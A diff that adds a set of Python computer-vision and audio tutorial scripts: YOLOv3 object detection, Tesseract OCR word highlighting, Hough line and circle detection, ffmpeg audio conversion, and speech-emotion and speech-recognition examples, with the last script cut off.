+                # use the center (x, y)-coordinates to derive the top and
+                # and left corner of the bounding box
+                x = int(centerX - (width / 2))
+                y = int(centerY - (height / 2))
+
+                # update our list of bounding box coordinates, confidences,
+                # and class IDs
+                boxes.append([x, y, int(width), int(height)])
+                confidences.append(float(confidence))
+                class_ids.append(class_id)
+
+    # perform the non maximum suppression given the scores defined before
+    idxs = cv2.dnn.NMSBoxes(boxes, confidences, SCORE_THRESHOLD, IOU_THRESHOLD)
+
+    font_scale = 1
+    thickness = 1
+
+    # ensure at least one detection exists
+    if len(idxs) > 0:
+        # loop over the indexes we are keeping
+        for i in idxs.flatten():
+            # extract the bounding box coordinates
+            x, y = boxes[i][0], boxes[i][1]
+            w, h = boxes[i][2], boxes[i][3]
+            # draw a bounding box rectangle and label on the image
+            color = [int(c) for c in colors[class_ids[i]]]
+            cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness)
+            text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}"
+            # calculate text width & height to draw the transparent boxes as background of the text
+            (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
+            text_offset_x = x
+            text_offset_y = y - 5
+            box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+            overlay = image.copy()
+            cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+            # add opacity (transparency to the box)
+            image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+            # now put the text (label: confidence %)
+            cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX,
+                fontScale=font_scale, color=(0, 0, 0), thickness=thickness)
+
+    out.write(image)
+    cv2.imshow("image", image)
+    
+    if ord("q") == cv2.waitKey(1):
+        break
+
+
+cap.release()
+cv2.destroyAllWindows()
+
+
+
+
+import time
+import torch
+import numpy as np
+import matplotlib.pyplot as plt
+import matplotlib.patches as patches
+
+
+def boxes_iou(box1, box2):
+    """
+    Returns the IOU between box1 and box2 (i.e intersection area divided by union area)
+    """
+    # Get the Width and Height of each bounding box
+    width_box1 = box1[2]
+    height_box1 = box1[3]
+    width_box2 = box2[2]
+    height_box2 = box2[3]
+    
+    # Calculate the area of the each bounding box
+    area_box1 = width_box1 * height_box1
+    area_box2 = width_box2 * height_box2
+    
+    # Find the vertical edges of the union of the two bounding boxes
+    mx = min(box1[0] - width_box1/2.0, box2[0] - width_box2/2.0)
+    Mx = max(box1[0] + width_box1/2.0, box2[0] + width_box2/2.0)
+    
+    # Calculate the width of the union of the two bounding boxes
+    union_width = Mx - mx
+    
+    # Find the horizontal edges of the union of the two bounding boxes
+    my = min(box1[1] - height_box1/2.0, box2[1] - height_box2/2.0)
+    My = max(box1[1] + height_box1/2.0, box2[1] + height_box2/2.0)    
+    
+    # Calculate the height of the union of the two bounding boxes
+    union_height = My - my
+    
+    # Calculate the width and height of the area of intersection of the two bounding boxes
+    intersection_width = width_box1 + width_box2 - union_width
+    intersection_height = height_box1 + height_box2 - union_height
+   
+    # If the the boxes don't overlap then their IOU is zero
+    if intersection_width <= 0 or intersection_height <= 0:
+        return 0.0
+
+    # Calculate the area of intersection of the two bounding boxes
+    intersection_area = intersection_width * intersection_height
+    
+    # Calculate the area of the union of the two bounding boxes
+    union_area = area_box1 + area_box2 - intersection_area
+    
+    # Calculate the IOU
+    iou = intersection_area/union_area
+    
+    return iou
+
+
+def nms(boxes, iou_thresh):
+    """
+    Performs Non maximal suppression technique to boxes using iou_thresh threshold
+    """
+    # print(boxes.shape)
+    # If there are no bounding boxes do nothing
+    if len(boxes) == 0:
+        return boxes
+    
+    # Create a PyTorch Tensor to keep track of the detection confidence
+    # of each predicted bounding box
+    det_confs = torch.zeros(len(boxes))
+    
+    # Get the detection confidence of each predicted bounding box
+    for i in range(len(boxes)):
+        det_confs[i] = boxes[i][4]
+
+    # Sort the indices of the bounding boxes by detection confidence value in descending order.
+    # We ignore the first returned element since we are only interested in the sorted indices
+    _,sortIds = torch.sort(det_confs, descending = True)
+    
+    # Create an empty list to hold the best bounding boxes after
+    # Non-Maximal Suppression (NMS) is performed
+    best_boxes = []
+    
+    # Perform Non-Maximal Suppression 
+    for i in range(len(boxes)):
+        
+        # Get the bounding box with the highest detection confidence first
+        box_i = boxes[sortIds[i]]
+        
+        # Check that the detection confidence is not zero
+        if box_i[4] > 0:
+            
+            # Save the bounding box 
+            best_boxes.append(box_i)
+            
+            # Go through the rest of the bounding boxes in the list and calculate their IOU with
+            # respect to the previous selected box_i. 
+            for j in range(i + 1, len(boxes)):
+                box_j = boxes[sortIds[j]]
+                
+                # If the IOU of box_i and box_j is higher than the given IOU threshold set
+                # box_j's detection confidence to zero. 
+                if boxes_iou(box_i, box_j) > iou_thresh:
+                    box_j[4] = 0
+                    
+    return best_boxes
+
+
+def detect_objects(model, img, iou_thresh, nms_thresh):
+    
+    # Start the time. This is done to calculate how long the detection takes.
+    start = time.time()
+    
+    # Set the model to evaluation mode.
+    model.eval()
+    
+    # Convert the image from a NumPy ndarray to a PyTorch Tensor of the correct shape.
+    # The image is transposed, then converted to a FloatTensor of dtype float32, then
+    # Normalized to values between 0 and 1, and finally unsqueezed to have the correct
+    # shape of 1 x 3 x 416 x 416
+    img = torch.from_numpy(img.transpose(2,0,1)).float().div(255.0).unsqueeze(0)
+    
+    # Feed the image to the neural network with the corresponding NMS threshold.
+    # The first step in NMS is to remove all bounding boxes that have a very low
+    # probability of detection. All predicted bounding boxes with a value less than
+    # the given NMS threshold will be removed.
+    list_boxes = model(img, nms_thresh)
+    
+    # Make a new list with all the bounding boxes returned by the neural network
+    boxes = list_boxes[0][0] + list_boxes[1][0] + list_boxes[2][0]
+    
+    # Perform the second step of NMS on the bounding boxes returned by the neural network.
+    # In this step, we only keep the best bounding boxes by eliminating all the bounding boxes
+    # whose IOU value is higher than the given IOU threshold
+    boxes = nms(boxes, iou_thresh)
+    
+    # Stop the time. 
+    finish = time.time()
+    
+    # Print the time it took to detect objects
+    print('\n\nIt took {:.3f}'.format(finish - start), 'seconds to detect the objects in the image.\n')
+    
+    # Print the number of objects detected
+    print('Number of Objects Detected:', len(boxes), '\n')
+    
+    return boxes
+
+
+def load_class_names(namesfile):
+    
+    # Create an empty list to hold the object classes
+    class_names = []
+    
+    # Open the file containing the COCO object classes in read-only mode
+    with open(namesfile, 'r') as fp:
+        
+        # The coco.names file contains only one object class per line.
+        # Read the file line by line and save all the lines in a list.
+        lines = fp.readlines()
+    
+    # Get the object class names
+    for line in lines:
+        
+        # Make a copy of each line with any trailing whitespace removed
+        line = line.rstrip()
+        
+        # Save the object class name into class_names
+        class_names.append(line)
+        
+    return class_names
+
+
+def print_objects(boxes, class_names):    
+    print('Objects Found and Confidence Level:\n')
+    for i in range(len(boxes)):
+        box = boxes[i]
+        if len(box) >= 7 and class_names:
+            cls_conf = box[5]
+            cls_id = box[6]
+            print('%i. %s: %f' % (i + 1, class_names[cls_id], cls_conf))
+
+            
+def plot_boxes(img, boxes, class_names, plot_labels, color = None):
+    
+    # Define a tensor used to set the colors of the bounding boxes
+    colors = torch.FloatTensor([[1,0,1],[0,0,1],[0,1,1],[0,1,0],[1,1,0],[1,0,0]])
+    
+    # Define a function to set the colors of the bounding boxes
+    def get_color(c, x, max_val):
+        ratio = float(x) / max_val * 5
+        i = int(np.floor(ratio))
+        j = int(np.ceil(ratio))
+        
+        ratio = ratio - i
+        r = (1 - ratio) * colors[i][c] + ratio * colors[j][c]
+        
+        return int(r * 255)
+    
+    # Get the width and height of the image
+    width = img.shape[1]
+    height = img.shape[0]
+    
+    # Create a figure and plot the image
+    fig, a = plt.subplots(1,1)
+    a.imshow(img)
+    
+    # Plot the bounding boxes and corresponding labels on top of the image
+    for i in range(len(boxes)):
+        
+        # Get the ith bounding box
+        box = boxes[i]
+        
+        # Get the (x,y) pixel coordinates of the lower-left and lower-right corners
+        # of the bounding box relative to the size of the image. 
+        x1 = int(np.around((box[0] - box[2]/2.0) * width))
+        y1 = int(np.around((box[1] - box[3]/2.0) * height))
+        x2 = int(np.around((box[0] + box[2]/2.0) * width))
+        y2 = int(np.around((box[1] + box[3]/2.0) * height))
+        
+        # Set the default rgb value to red
+        rgb = (1, 0, 0)
+            
+        # Use the same color to plot the bounding boxes of the same object class
+        if len(box) >= 7 and class_names:
+            cls_conf = box[5]
+            cls_id = box[6]
+            classes = len(class_names)
+            offset = cls_id * 123457 % classes
+            red   = get_color(2, offset, classes) / 255
+            green = get_color(1, offset, classes) / 255
+            blue  = get_color(0, offset, classes) / 255
+            
+            # If a color is given then set rgb to the given color instead
+            if color is None:
+                rgb = (red, green, blue)
+            else:
+                rgb = color
+        
+        # Calculate the width and height of the bounding box relative to the size of the image.
+        width_x = x2 - x1
+        width_y = y1 - y2
+        
+        # Set the postion and size of the bounding box. (x1, y2) is the pixel coordinate of the
+        # lower-left corner of the bounding box relative to the size of the image.
+        rect = patches.Rectangle((x1, y2),
+                                 width_x, width_y,
+                                 linewidth = 2,
+                                 edgecolor = rgb,
+                                 facecolor = 'none')
+
+        # Draw the bounding box on top of the image
+        a.add_patch(rect)
+        
+        # If plot_labels = True then plot the corresponding label
+        if plot_labels:
+            
+            # Create a string with the object class name and the corresponding object class probability
+            conf_tx = class_names[cls_id] + ': {:.1f}'.format(cls_conf)
+            
+            # Define x and y offsets for the labels
+            lxc = (img.shape[1] * 0.266) / 100
+            lyc = (img.shape[0] * 1.180) / 100
+            
+            # Draw the labels on top of the image
+            a.text(x1 + lxc, y1 - lyc, conf_tx, fontsize = 12, color = 'k',
+                   bbox = dict(facecolor = rgb, edgecolor = rgb, alpha = 0.6))        
+        
+    plt.savefig("output.jpg")
+    plt.show()
+
+
+
+
+import cv2
+import matplotlib.pyplot as plt
+from utils import *
+from darknet import Darknet
+
+# Set the NMS Threshold
+score_threshold = 0.6
+# Set the IoU threshold
+iou_threshold = 0.4
+cfg_file = "cfg/yolov3.cfg"
+weight_file = "weights/yolov3.weights"
+namesfile = "data/coco.names"
+m = Darknet(cfg_file)
+m.load_weights(weight_file)
+class_names = load_class_names(namesfile)
+# m.print_network()
+original_image = cv2.imread("images/city_scene.jpg")
+original_image = cv2.cvtColor(original_image, cv2.COLOR_BGR2RGB)
+img = cv2.resize(original_image, (m.width, m.height))
+# detect the objects
+boxes = detect_objects(m, img, iou_threshold, score_threshold)
+print(boxes[0])
+print(boxes[1])
+print(boxes[2])
+# plot the image with the bounding boxes and corresponding object class labels
+plot_boxes(original_image, boxes, class_names, plot_labels=True)
+
+
+
+
+import cv2
+import numpy as np
+
+import time
+import sys
+import os
+
+CONFIDENCE = 0.5
+SCORE_THRESHOLD = 0.5
+IOU_THRESHOLD = 0.5
+
+# the neural network configuration
+config_path = "cfg/yolov3.cfg"
+# the YOLO net weights file
+weights_path = "weights/yolov3.weights"
+
+# loading all the class labels (objects)
+labels = open("data/coco.names").read().strip().split("\n")
+# generating colors for each object for later plotting
+colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8")
+
+# load the YOLO network
+net = cv2.dnn.readNetFromDarknet(config_path, weights_path)
+
+# path_name = "images/city_scene.jpg"
+path_name = sys.argv[1]
+image = cv2.imread(path_name)
+file_name = os.path.basename(path_name)
+filename, ext = file_name.split(".")
+
+h, w = image.shape[:2]
+# create 4D blob
+blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False)
+
+# sets the blob as the input of the network
+net.setInput(blob)
+
+# get all the layer names
+ln = net.getLayerNames()
+ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+# feed forward (inference) and get the network output
+# measure how much it took in seconds
+start = time.perf_counter()
+layer_outputs = net.forward(ln)
+time_took = time.perf_counter() - start
+print(f"Time took: {time_took:.2f}s")
+
+boxes, confidences, class_ids = [], [], []
+
+# loop over each of the layer outputs
+for output in layer_outputs:
+    # loop over each of the object detections
+    for detection in output:
+        # extract the class id (label) and confidence (as a probability) of
+        # the current object detection
+        scores = detection[5:]
+        class_id = np.argmax(scores)
+        confidence = scores[class_id]
+        # discard weak predictions by ensuring the detected
+        # probability is greater than the minimum probability
+        if confidence > CONFIDENCE:
+            # scale the bounding box coordinates back relative to the
+            # size of the image, keeping in mind that YOLO actually
+            # returns the center (x, y)-coordinates of the bounding
+            # box followed by the boxes' width and height
+            box = detection[:4] * np.array([w, h, w, h])
+            (centerX, centerY, width, height) = box.astype("int")
+
+            # use the center (x, y)-coordinates to derive the top and
+            # and left corner of the bounding box
+            x = int(centerX - (width / 2))
+            y = int(centerY - (height / 2))
+
+            # update our list of bounding box coordinates, confidences,
+            # and class IDs
+            boxes.append([x, y, int(width), int(height)])
+            confidences.append(float(confidence))
+            class_ids.append(class_id)
+
+# perform the non maximum suppression given the scores defined before
+idxs = cv2.dnn.NMSBoxes(boxes, confidences, SCORE_THRESHOLD, IOU_THRESHOLD)
+
+font_scale = 1
+thickness = 1
+
+# ensure at least one detection exists
+if len(idxs) > 0:
+    # loop over the indexes we are keeping
+    for i in idxs.flatten():
+        # extract the bounding box coordinates
+        x, y = boxes[i][0], boxes[i][1]
+        w, h = boxes[i][2], boxes[i][3]
+        # draw a bounding box rectangle and label on the image
+        color = [int(c) for c in colors[class_ids[i]]]
+        cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness)
+        text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}"
+        # calculate text width & height to draw the transparent boxes as background of the text
+        (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
+        text_offset_x = x
+        text_offset_y = y - 5
+        box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+        overlay = image.copy()
+        cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+        # add opacity (transparency to the box)
+        image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+        # now put the text (label: confidence %)
+        cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX,
+            fontScale=font_scale, color=(0, 0, 0), thickness=thickness)
+        
+
+# cv2.imshow("image", image)
+# if cv2.waitKey(0) == ord("q"):
+#     pass
+
+cv2.imwrite(filename + "_yolo3." + ext, image)
+
+
+
+
+import pytesseract
+import cv2
+import sys
+import matplotlib.pyplot as plt
+from PIL import Image
+
+# read the image using OpenCV
+image = cv2.imread(sys.argv[1])
+
+# make a copy of this image to draw in
+image_copy = image.copy()
+
+# the target word to search for
+target_word = sys.argv[2]
+
+# get all data from the image
+data = pytesseract.image_to_data(image, output_type=pytesseract.Output.DICT)
+
+# get all occurences of the that word
+word_occurences = [ i for i, word in enumerate(data["text"]) if word.lower() == target_word ]
+
+for occ in word_occurences:
+    # extract the width, height, top and left position for that detected word
+    w = data["width"][occ]
+    h = data["height"][occ]
+    l = data["left"][occ]
+    t = data["top"][occ]
+    # define all the surrounding box points
+    p1 = (l, t)
+    p2 = (l + w, t)
+    p3 = (l + w, t + h)
+    p4 = (l, t + h)
+    # draw the 4 lines (rectangular)
+    image_copy = cv2.line(image_copy, p1, p2, color=(255, 0, 0), thickness=2)
+    image_copy = cv2.line(image_copy, p2, p3, color=(255, 0, 0), thickness=2)
+    image_copy = cv2.line(image_copy, p3, p4, color=(255, 0, 0), thickness=2)
+    image_copy = cv2.line(image_copy, p4, p1, color=(255, 0, 0), thickness=2)
+
+plt.imsave("all_dog_words.png", image_copy)
+plt.imshow(image_copy)
+plt.show()
+
+
+
+
+import pytesseract
+import cv2
+import matplotlib.pyplot as plt
+import sys
+from PIL import Image
+
+# read the image using OpenCV 
+# from the command line first argument
+image = cv2.imread(sys.argv[1])
+# or you can use Pillow
+# image = Image.open(sys.argv[1])
+
+# get the string
+string = pytesseract.image_to_string(image)
+# print it
+print(string)
+
+# get all data
+# data = pytesseract.image_to_data(image)
+
+# print(data)
+
+
+
+
+import pytesseract
+import cv2
+import matplotlib.pyplot as plt
+from PIL import Image
+
+# the target word to search for
+target_word = "your"
+
+cap = cv2.VideoCapture(0)
+
+while True:
+    # read the image from the cam
+    _, image = cap.read()
+
+    # make a copy of this image to draw in
+    image_copy = image.copy()
+
+    # get all data from the image
+    data = pytesseract.image_to_data(image, output_type=pytesseract.Output.DICT)
+
+    # print the data
+    print(data["text"])
+
+    # get all occurences of the that word
+    word_occurences = [ i for i, word in enumerate(data["text"]) if word.lower() == target_word ]
+
+    for occ in word_occurences:
+        # extract the width, height, top and left position for that detected word
+        w = data["width"][occ]
+        h = data["height"][occ]
+        l = data["left"][occ]
+        t = data["top"][occ]
+        # define all the surrounding box points
+        p1 = (l, t)
+        p2 = (l + w, t)
+        p3 = (l + w, t + h)
+        p4 = (l, t + h)
+        # draw the 4 lines (rectangular)
+        image_copy = cv2.line(image_copy, p1, p2, color=(255, 0, 0), thickness=2)
+        image_copy = cv2.line(image_copy, p2, p3, color=(255, 0, 0), thickness=2)
+        image_copy = cv2.line(image_copy, p3, p4, color=(255, 0, 0), thickness=2)
+        image_copy = cv2.line(image_copy, p4, p1, color=(255, 0, 0), thickness=2)
+
+    if cv2.waitKey(1) == ord("q"):
+        break
+
+    cv2.imshow("image_copy", image_copy)
+
+cap.release()
+cv2.destroyAllWindows()
+
+
+
+
+import cv2
+import numpy as np
+import matplotlib.pyplot as plt
+import sys
+
+# load the image
+img = cv2.imread(sys.argv[1])
+# convert BGR to RGB to be suitable for showing using matplotlib library
+img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
+# make a copy of the original image
+cimg = img.copy()
+# convert image to grayscale
+img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
+# apply a blur using the median filter
+img = cv2.medianBlur(img, 5)
+# finds the circles in the grayscale image using the Hough transform
+circles = cv2.HoughCircles(image=img, method=cv2.HOUGH_GRADIENT, dp=0.9, 
+                            minDist=80, param1=110, param2=39, maxRadius=70)
+
+for co, i in enumerate(circles[0, :], start=1):
+    # draw the outer circle in green
+    cv2.circle(cimg,(i[0],i[1]),i[2],(0,255,0),2)
+    # draw the center of the circle in red
+    cv2.circle(cimg,(i[0],i[1]),2,(0,0,255),3)
+    
+# print the number of circles detected
+print("Number of circles detected:", co)
+# save the image, convert to BGR to save with proper colors
+# cv2.imwrite("coins_circles_detected.png", cimg)
+# show the image
+plt.imshow(cimg)
+plt.show()
+
+
+
+
+import numpy as np
+import matplotlib.pyplot as plt
+import cv2
+
+cap = cv2.VideoCapture(0)
+
+while True:
+    _, image = cap.read()
+    # convert to grayscale
+    grayscale = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
+    # perform edge detection
+    edges = cv2.Canny(grayscale, 30, 100)
+    # detect lines in the image using hough lines technique
+    lines = cv2.HoughLinesP(edges, 1, np.pi/180, 60, np.array([]), 50, 5)
+    # iterate over the output lines and draw them
+    for line in lines:
+        for x1, y1, x2, y2 in line:
+            cv2.line(image, (x1, y1), (x2, y2), (255, 0, 0), 3)
+            cv2.line(edges, (x1, y1), (x2, y2), (255, 0, 0), 3)
+    # show images
+    cv2.imshow("image", image)
+    cv2.imshow("edges", edges)
+    if cv2.waitKey(1) == ord("q"):
+        break
+
+cap.release()
+cv2.destroyAllWindows()
+
+
+
+
+import numpy as np
+import matplotlib.pyplot as plt
+import cv2
+import sys
+
+# read the image
+image = cv2.imread(sys.argv[1])
+
+# convert to grayscale
+grayscale = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
+
+# perform edge detection
+edges = cv2.Canny(grayscale, 30, 100)
+
+# detect lines in the image using hough lines technique
+lines = cv2.HoughLinesP(edges, 1, np.pi/180, 60, np.array([]), 50, 5)
+# iterate over the output lines and draw them
+for line in lines:
+    for x1, y1, x2, y2 in line:
+        cv2.line(image, (x1, y1), (x2, y2), color=(20, 220, 20), thickness=3)
+
+# show the image
+plt.imshow(image)
+plt.show()
+
+
+
+
+"""
+A utility script used for converting audio samples to be 
+suitable for feature extraction
+"""
+
+import os
+
+def convert_audio(audio_path, target_path, remove=False):
+    """This function sets the audio audio_path to:
+        - 16000Hz Sampling rate
+        - one audio channel ( mono )
+            Params:
+                audio_path (str): the path of audio wav file you want to convert
+                target_path (str): target path to save your new converted wav file
+                remove (bool): whether to remove the old file after converting
+        Note that this function requires ffmpeg installed in your system."""
+
+    os.system(f"ffmpeg -i {audio_path} -ac 1 -ar 16000 {target_path}")
+    # os.system(f"ffmpeg -i {audio_path} -ac 1 {target_path}")
+    if remove:
+        os.remove(audio_path)
+
+
+def convert_audios(path, target_path, remove=False):
+    """Converts a path of wav files to:
+        - 16000Hz Sampling rate
+        - one audio channel ( mono )
+        and then put them into a new folder called target_path
+            Params:
+                audio_path (str): the path of audio wav file you want to convert
+                target_path (str): target path to save your new converted wav file
+                remove (bool): whether to remove the old file after converting
+        Note that this function requires ffmpeg installed in your system."""
+
+    for dirpath, dirnames, filenames in os.walk(path):
+        for dirname in dirnames:
+            dirname = os.path.join(dirpath, dirname)
+            target_dir = dirname.replace(path, target_path)
+            if not os.path.isdir(target_dir):
+                os.mkdir(target_dir)
+
+    for dirpath, _, filenames in os.walk(path):
+        for filename in filenames:
+            file = os.path.join(dirpath, filename)
+            if file.endswith(".wav"):
+                # it is a wav file
+                target_file = file.replace(path, target_path)
+                convert_audio(file, target_file, remove=remove)
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="""Convert ( compress ) wav files to 16MHz and mono audio channel ( 1 channel )
+                                                    This utility helps for compressing wav files for training and testing""")
+    parser.add_argument("audio_path", help="Folder that contains wav files you want to convert")
+    parser.add_argument("target_path", help="Folder to save new wav files")
+    parser.add_argument("-r", "--remove", type=bool, help="Whether to remove the old wav file after converting", default=False)
+
+    args = parser.parse_args()
+    audio_path = args.audio_path
+    target_path = args.target_path
+
+    if os.path.isdir(audio_path):
+        if not os.path.isdir(target_path):
+            os.makedirs(target_path)
+            convert_audios(audio_path, target_path, remove=args.remove)
+    elif os.path.isfile(audio_path) and audio_path.endswith(".wav"):
+        if not target_path.endswith(".wav"):
+            target_path += ".wav"
+        convert_audio(audio_path, target_path, remove=args.remove)
+    else:
+        raise TypeError("The audio_path file you specified isn't appropriate for this operation")
+
+
+
+
+from sklearn.neural_network import MLPClassifier
+
+from sklearn.metrics import accuracy_score
+from utils import load_data
+
+import os
+import pickle
+
+# load RAVDESS dataset
+X_train, X_test, y_train, y_test = load_data(test_size=0.25)
+# print some details
+# number of samples in training data
+print("[+] Number of training samples:", X_train.shape[0])
+# number of samples in testing data
+print("[+] Number of testing samples:", X_test.shape[0])
+# number of features used
+# this is a vector of features extracted 
+# using utils.extract_features() method
+print("[+] Number of features:", X_train.shape[1])
+# best model, determined by a grid search
+model_params = {
+    'alpha': 0.01,
+    'batch_size': 256,
+    'epsilon': 1e-08, 
+    'hidden_layer_sizes': (300,), 
+    'learning_rate': 'adaptive', 
+    'max_iter': 500, 
+}
+# initialize Multi Layer Perceptron classifier
+# with best parameters ( so far )
+model = MLPClassifier(**model_params)
+
+# train the model
+print("[*] Training the model...")
+model.fit(X_train, y_train)
+
+# predict 25% of data to measure how good we are
+y_pred = model.predict(X_test)
+
+# calculate the accuracy
+accuracy = accuracy_score(y_true=y_test, y_pred=y_pred)
+
+print("Accuracy: {:.2f}%".format(accuracy*100))
+
+# now we save the model
+# make result directory if doesn't exist yet
+if not os.path.isdir("result"):
+    os.mkdir("result")
+
+pickle.dump(model, open("result/mlp_classifier.model", "wb"))
+
+
+
+
+import pyaudio
+import os
+import wave
+import pickle
+from sys import byteorder
+from array import array
+from struct import pack
+from sklearn.neural_network import MLPClassifier
+
+from utils import extract_feature
+
+THRESHOLD = 500
+CHUNK_SIZE = 1024
+FORMAT = pyaudio.paInt16
+RATE = 16000
+
+SILENCE = 30
+
+def is_silent(snd_data):
+    "Returns 'True' if below the 'silent' threshold"
+    return max(snd_data) < THRESHOLD
+
+def normalize(snd_data):
+    "Average the volume out"
+    MAXIMUM = 16384
+    times = float(MAXIMUM)/max(abs(i) for i in snd_data)
+
+    r = array('h')
+    for i in snd_data:
+        r.append(int(i*times))
+    return r
+
+def trim(snd_data):
+    "Trim the blank spots at the start and end"
+    def _trim(snd_data):
+        snd_started = False
+        r = array('h')
+
+        for i in snd_data:
+            if not snd_started and abs(i)>THRESHOLD:
+                snd_started = True
+                r.append(i)
+
+            elif snd_started:
+                r.append(i)
+        return r
+
+    # Trim to the left
+    snd_data = _trim(snd_data)
+
+    # Trim to the right
+    snd_data.reverse()
+    snd_data = _trim(snd_data)
+    snd_data.reverse()
+    return snd_data
+
+def add_silence(snd_data, seconds):
+    "Add silence to the start and end of 'snd_data' of length 'seconds' (float)"
+    r = array('h', [0 for i in range(int(seconds*RATE))])
+    r.extend(snd_data)
+    r.extend([0 for i in range(int(seconds*RATE))])
+    return r
+
+def record():
+    """
+    Record a word or words from the microphone and 
+    return the data as an array of signed shorts.
+
+    Normalizes the audio, trims silence from the 
+    start and end, and pads with 0.5 seconds of 
+    blank sound to make sure VLC et al can play 
+    it without getting chopped off.
+    """
+    p = pyaudio.PyAudio()
+    stream = p.open(format=FORMAT, channels=1, rate=RATE,
+        input=True, output=True,
+        frames_per_buffer=CHUNK_SIZE)
+
+    num_silent = 0
+    snd_started = False
+
+    r = array('h')
+
+    while 1:
+        # little endian, signed short
+        snd_data = array('h', stream.read(CHUNK_SIZE))
+        if byteorder == 'big':
+            snd_data.byteswap()
+        r.extend(snd_data)
+
+        silent = is_silent(snd_data)
+
+        if silent and snd_started:
+            num_silent += 1
+        elif not silent and not snd_started:
+            snd_started = True
+
+        if snd_started and num_silent > SILENCE:
+            break
+
+    sample_width = p.get_sample_size(FORMAT)
+    stream.stop_stream()
+    stream.close()
+    p.terminate()
+
+    r = normalize(r)
+    r = trim(r)
+    r = add_silence(r, 0.5)
+    return sample_width, r
+
+def record_to_file(path):
+    "Records from the microphone and outputs the resulting data to 'path'"
+    sample_width, data = record()
+    data = pack('<' + ('h'*len(data)), *data)
+
+    wf = wave.open(path, 'wb')
+    wf.setnchannels(1)
+    wf.setsampwidth(sample_width)
+    wf.setframerate(RATE)
+    wf.writeframes(data)
+    wf.close()
+
+
+
+if __name__ == "__main__":
+    # load the saved model (after training)
+    model = pickle.load(open("result/mlp_classifier.model", "rb"))
+    print("Please talk")
+    filename = "test.wav"
+    # record the file (start talking)
+    record_to_file(filename)
+    # extract features and reshape it
+    features = extract_feature(filename, mfcc=True, chroma=True, mel=True).reshape(1, -1)
+    # predict
+    result = model.predict(features)[0]
+    # show the result !
+    print("result:", result)
+
+
+
+
+import soundfile
+import numpy as np
+import librosa
+import glob
+import os
+from sklearn.model_selection import train_test_split
+
+# all emotions on RAVDESS dataset
+int2emotion = {
+    "01": "neutral",
+    "02": "calm",
+    "03": "happy",
+    "04": "sad",
+    "05": "angry",
+    "06": "fearful",
+    "07": "disgust",
+    "08": "surprised"
+}
+
+# we allow only these emotions
+AVAILABLE_EMOTIONS = {
+    "angry",
+    "sad",
+    "neutral",
+    "happy"
+}
+
+def extract_feature(file_name, **kwargs):
+    """
+    Extract feature from audio file file_name
+        Features supported:
+            - MFCC (mfcc)
+            - Chroma (chroma)
+            - MEL Spectrogram Frequency (mel)
+            - Contrast (contrast)
+            - Tonnetz (tonnetz)
+        e.g:
+        features = extract_feature(path, mel=True, mfcc=True)
+    """
+    mfcc = kwargs.get("mfcc")
+    chroma = kwargs.get("chroma")
+    mel = kwargs.get("mel")
+    contrast = kwargs.get("contrast")
+    tonnetz = kwargs.get("tonnetz")
+    with soundfile.SoundFile(file_name) as sound_file:
+        X = sound_file.read(dtype="float32")
+        sample_rate = sound_file.samplerate
+        if chroma or contrast:
+            stft = np.abs(librosa.stft(X))
+        result = np.array([])
+        if mfcc:
+            mfccs = np.mean(librosa.feature.mfcc(y=X, sr=sample_rate, n_mfcc=40).T, axis=0)
+            result = np.hstack((result, mfccs))
+        if chroma:
+            chroma = np.mean(librosa.feature.chroma_stft(S=stft, sr=sample_rate).T,axis=0)
+            result = np.hstack((result, chroma))
+        if mel:
+            mel = np.mean(librosa.feature.melspectrogram(X, sr=sample_rate).T,axis=0)
+            result = np.hstack((result, mel))
+        if contrast:
+            contrast = np.mean(librosa.feature.spectral_contrast(S=stft, sr=sample_rate).T,axis=0)
+            result = np.hstack((result, contrast))
+        if tonnetz:
+            tonnetz = np.mean(librosa.feature.tonnetz(y=librosa.effects.harmonic(X), sr=sample_rate).T,axis=0)
+            result = np.hstack((result, tonnetz))
+    return result
+
+
+def load_data(test_size=0.2):
+    X, y = [], []
+    for file in glob.glob("data/Actor_*/*.wav"):
+        # get the base name of the audio file
+        basename = os.path.basename(file)
+        # get the emotion label
+        emotion = int2emotion[basename.split("-")[2]]
+        # we allow only AVAILABLE_EMOTIONS we set
+        if emotion not in AVAILABLE_EMOTIONS:
+            continue
+        # extract speech features
+        features = extract_feature(file, mfcc=True, chroma=True, mel=True)
+        # add to data
+        X.append(features)
+        y.append(emotion)
+    # split the data to training and testing and return it
+    return train_test_split(np.array(X), y, test_size=test_size, random_state=7)
+
+
+
+
+import speech_recognition as sr
+import sys
+
+duration = int(sys.argv[1])
+
+# initialize the recognizer
+r = sr.Recognizer()
+print("Please talk")
+with sr.Microphone() as source:
+    # read the audio data from the default microphone
+    audio_data = r.record(source, duration=duration)
+    print("Recognizing...")
+    # convert speech to text
+    text = r.recognize_google(audio_data)
+    print(text)
+
+
+
+
+import speech_recognition as sr
+import sys
+
+filename = sys.argv[1]
+
+# initialize the recognizer
+r = sr.Recognizer()
+
+# open the file
+with sr.AudioFile(filename) as source:
+    # listen for the data (load audio to memory)
+    audio_data = r.record(source)
